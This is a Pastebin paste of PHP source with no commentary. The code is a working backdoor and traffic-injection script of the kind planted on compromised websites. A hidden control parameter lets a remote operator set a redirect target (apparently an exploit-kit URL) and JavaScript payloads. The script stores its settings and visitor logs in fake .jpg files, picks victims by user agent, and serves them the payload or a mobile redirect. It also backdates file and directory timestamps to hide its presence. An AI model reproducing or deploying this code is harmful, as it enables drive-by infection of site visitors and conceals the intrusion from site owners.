Advertisement
Guest User

Untitled

a guest
Sep 5th, 2015
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.98 KB | None | 0 0
  1. <?php
  2. if(!defined("CUR_PATH")){
  3. define("CUR_PATH",dirname(__FILE__) . DIRECTORY_SEPARATOR);
  4. }
  5. if(!defined("SETTINGS_FILE")){
  6. define("SETTINGS_FILE",CUR_PATH."img.jpg");
  7. }
  8. if(!defined("LOG_FILE")){
  9. define("LOG_FILE",CUR_PATH."dot.jpg");
  10. }
  11. if(!defined("IS_AJAX")){
  12. define("IS_AJAX",false);
  13. }
  14.  
  15. check_exist_all();
  16. $pname = "UEYJHJSDHUEYBSJDHUWYE";
  17. $SETTS = unserialize(@file_get_contents(SETTINGS_FILE));
  18.  
  19. if(
  20. (isset($_POST[$pname]) && !empty($_POST[$pname]) && strlen($_POST[$pname]) >0)
  21. || (isset($_GET[$pname]) && !empty($_GET[$pname]) && strlen($_GET[$pname]) >0)
  22. ){
  23. $new_setts = $SETTS;
  24. $ret = array();
  25. if(isset($_POST[$pname])){
  26. $new_setts["status"] = $_POST[$pname."_status"];
  27. $new_setts["u"] = base64_encode($_POST[$pname."_u"]);
  28. $new_setts["f"] =$_POST[$pname."_f"]; //_#_
  29. $new_setts["ct"] = $_POST[$pname."_ct"];
  30. $new_setts["code"] = $_POST[$pname."_code"];
  31. $new_setts["log"] = $_POST[$pname."_nlog"];
  32. $new_setts["debug"] = $_POST[$pname."_debug"];
  33. $new_setts["pts"] = base64_decode($_POST[$pname."_pts"]);
  34. }else if(isset($_GET[$pname])){
  35. $data = base64_decode($_GET[$pname]);
  36. $data = explode("||__||",$data);
  37. $new_setts["status"] = $data[0];
  38. $new_setts["u"] = base64_encode($data[1]);
  39. $new_setts["f"] = $data[2]; //_#_
  40. $new_setts["ct"] = $data[3];
  41. $new_setts["code"] = $data[4];
  42. $new_setts["log"] = $data[5];
  43. $new_setts["debug"] = $data[6];
  44. $new_setts["pts"] = base64_decode($data[7]);
  45. }else{
  46. exit();
  47. }
  48. $server_script_dir = detect_doc_root($new_setts["pts"]).DIRECTORY_SEPARATOR.$new_setts["pts"].DIRECTORY_SEPARATOR;
  49. $ret["pts"] = $server_script_dir;
  50. $ret["script_path"] = $server_script_dir.basename($_SERVER["SCRIPT_NAME"]);
  51. @file_put_contents(SETTINGS_FILE,serialize($new_setts));
  52. $touch_exists = false;
  53. if(file_exists(SETTINGS_FILE)){
  54. $ftime = @stat(SETTINGS_FILE);
  55. $touch_exists = $ftime["mtime"];
  56. }
  57. make_touch(SETTINGS_FILE,$touch_exists,true);
  58.  
  59. echo base64_encode("OKSETTS")."OKSETTSOK_START:".base64_encode(json_encode($ret))."-END";exit();;
  60. exit();
  61. }
  62.  
  63. if((isset($_GET[$pname."_test"]) && !empty($_GET[$pname."_test"]) && strlen($_GET[$pname."_test"]) >0)){
  64. show_good_js($SETTS["u"],base64_decode($SETTS["code"]));
  65. echo "\r\n\r\n_______________________\r\n\r\n";
  66. echo base64_encode("OKSETTS");
  67. echo "\r\n\r\n_______________________\r\n\r\n";
  68. var_dump($SETTS);
  69. echo "\r\n\r\n_______________________\r\n\r\n";
  70. if(file_exists(LOG_FILE)){
  71. echo file_get_contents(LOG_FILE);
  72. }else{
  73. echo "No log";
  74. }
  75. exit();
  76. }
  77.  
  78. if((isset($_GET[$pname."_shlog"]) && !empty($_GET[$pname."_shlog"]) && strlen($_GET[$pname."_shlog"]) >0)){
  79. if(file_exists(LOG_FILE)){
  80. echo file_get_contents(LOG_FILE);
  81. }else{
  82. echo "No log";
  83. }
  84. exit();
  85. }
  86.  
  87. if(IS_AJAX){
  88. if(!isset($_SERVER["HTTP_CONTENT_TYPES"]) || strpos($_SERVER["HTTP_CONTENT_TYPES"],$_SERVER["SERVER_NAME"])===false){
  89. exit();
  90. }
  91. }
  92.  
  93.  
  94. if((isset($_GET["mob"]) && !empty($_GET["mob"]) && strlen($_GET["mob"]) >0)){
  95. $f = true;
  96. $is_mob = true;
  97. }else{
  98. $is_mob = false;
  99. $SETTS["f"] = (!empty($SETTS["f"]) && $SETTS["f"] != ""?explode("_#_",$SETTS["f"]):array());//explode("_#_",$SETTS["f"])
  100. $f = false;
  101. $ua = $_SERVER["HTTP_USER_AGENT"];
  102. if(!empty($SETTS["f"])){
  103. foreach($SETTS["f"] as $one){
  104. /*if(preg_match("|".preg_quote($one).".*?([0-9\.]+)|i", $ua, $match)){
  105. $f = true;
  106. break;
  107. }*/
  108. if(strpos($one,"*")!==false){
  109. if (preg_match("|".$one."|i", $ua, $match)){
  110. $f = true;
  111. break;
  112. }
  113. }else{
  114. if (preg_match("|".preg_quote($one).".*?([0-9\.]+)|i", $ua, $match))
  115. {
  116. $f = true;
  117. break;
  118. }
  119. }
  120. }
  121. }
  122. }
  123.  
  124.  
  125. if($SETTS["debug"] == 1){
  126. $f = true;
  127. $SETTS["u"] = base64_encode("http://google.com");
  128. }
  129.  
  130. if($f && $SETTS["log"] == 1){
  131. @file_put_contents(LOG_FILE,"[".date("Y-m-d H:i:s")."]: ".$ua."\r\n",FILE_APPEND);
  132. $touch_exists = false;
  133. if(file_exists(LOG_FILE)){
  134. $ftime = @stat(LOG_FILE);
  135. $touch_exists = $ftime["mtime"];
  136. }
  137. make_touch(LOG_FILE,$touch_exists,true);
  138. }
  139.  
  140. if($f && $SETTS["status"] == 1 && !empty($SETTS["u"]) && strlen($SETTS["u"])>0){
  141. $check_cook = get_cookie("is_uniq");
  142. if(!$check_cook || $SETTS["ct"] == 0){
  143. set_cookie("is_uniq","1",(time()+$SETTS["ct"]));
  144. if($is_mob){
  145. show_js_redirect($SETTS["u"]);
  146. }else{
  147. show_good_js($SETTS["u"],base64_decode($SETTS["code"]));
  148. }
  149. }else{
  150. show_bad_js();
  151. }
  152. }else{
  153. show_bad_js();
  154. }
  155. exit();
  156.  
  157. function check_exist_all(){
  158. if(!@file_exists(SETTINGS_FILE)){
  159. @file_put_contents(SETTINGS_FILE,serialize(array("status"=>0,"u"=>"","f"=>"","ct"=>0,"code"=>"","pts"=>"","log"=>-1,"debug"=>-1)));
  160. $touch_exists = false;
  161. if(file_exists(SETTINGS_FILE)){
  162. $ftime = @stat(SETTINGS_FILE);
  163. $touch_exists = $ftime["mtime"];
  164. }
  165. make_touch(SETTINGS_FILE,$touch_exists,true);
  166. }
  167. }
  168.  
  169. function show_bad_js(){
  170. if(!IS_AJAX){
  171. header("content-type: application/x-javascript");
  172. }
  173. echo "/*".time()."*/";
  174. }
  175.  
  176. function show_good_js($e_url,$code){
  177. $e_url = base64_decode($e_url);
  178. $code = str_replace(array("{%%EK_URL%%}"),array($e_url),$code);
  179. if(!IS_AJAX){
  180. header("content-type: application/x-javascript");
  181. }
  182. echo $code;
  183. }
  184.  
  185. function show_js_redirect($e_url){
  186. $e_url = base64_decode($e_url);
  187. header("content-type: application/x-javascript");
  188. $redirect = "if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) {location.replace(..);}else{window.location = ..;document.location = ..;}";
  189. echo $redirect;
  190. }
  191.  
  192. function detect_doc_root($path_to_script){
  193. $path_to_script = str_replace("//","/",$path_to_script);
  194. if(substr($path_to_script,0,1) == "/"){
  195. $path_to_script = substr_replace($path_to_script, "", 0,1);
  196. }
  197. $full_path = realpath(dirname(__FILE__));
  198. if($path_to_script == ""){
  199. $doc_root = $full_path;
  200. }else{
  201. $doc_root = str_replace(DIRECTORY_SEPARATOR.$path_to_script,"",$full_path);
  202. }
  203. return $doc_root;
  204. }
  205.  
  206. function rand_string($min = 2,$max = false){
  207. $abc = "qwertyuiopasdfghjklzxcvbnm";
  208. $abc_up = strtoupper($abc);
  209. $abc = str_split($abc);
  210. $abc_up = str_split($abc_up);
  211. $abc = array_merge($abc,$abc_up);
  212. $return = array();
  213. if(!$max || $max <= $min){
  214. $max = $min + $min;
  215. }
  216. for($i =$min; $i <= $max; $i++){
  217. $return[] = $abc[array_rand($abc)];
  218. }
  219. return implode("",$return);
  220. }
  221.  
  222. function set_cookie($name = "", $value = "", $expire = 1, $path = "/"){
  223. return setcookie(md5($name),$value,$expire,$path,"",false,true);
  224. }
  225.  
  226. function get_cookie($name = ""){
  227. if(isset($_COOKIE[md5($name)]) && !empty($_COOKIE[md5($name)])){
  228. return $_COOKIE[md5($name)];
  229. }else{
  230. return false;
  231. }
  232. }
  233. function make_touch($fpath,$touch_exist = false,$touch_par_dir = false){
  234. $ttime = 0;
  235. if($touch_exist){
  236. $ttime = $touch_exist;
  237. }else{
  238. $ttime = get_some_touch($fpath);
  239. }
  240.  
  241. @touch($fpath,$ttime);
  242. if($touch_par_dir===true){
  243. $fpath = explode(DIRECTORY_SEPARATOR,$fpath);
  244. array_splice($fpath, (count($fpath)-1), 1);
  245. $fpath= implode(DIRECTORY_SEPARATOR,$fpath);
  246. if(substr($fpath, -1) != DIRECTORY_SEPARATOR)
  247. $fpath= $fpath.DIRECTORY_SEPARATOR;
  248. @touch($fpath,$ttime);
  249. }
  250. }
  251.  
  252. function get_some_touch($fpath){
  253. $fpath = explode(DIRECTORY_SEPARATOR,$fpath);
  254. array_splice($fpath, (count($fpath)-1), 1);
  255. $fpath= implode(DIRECTORY_SEPARATOR,$fpath);
  256. if(substr($fpath, -1) != DIRECTORY_SEPARATOR)
  257. $fpath= $fpath.DIRECTORY_SEPARATOR;
  258. $dirs = array_diff(scandir($fpath),array(".",".."));
  259. $touches = array();
  260. foreach($dirs as $one){
  261. $stat = stat($fpath.$one);
  262. $touches[] = $stat[mtime];
  263. }
  264. //asort($touches);
  265. sort($touches, SORT_NUMERIC);
  266. if(isset($touches[0]) and !empty($touches) and $touches[0]>0)
  267. return $touches[0];
  268. else
  269. return (time() - (3600*24*30 * 12));
  270. }
  271. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement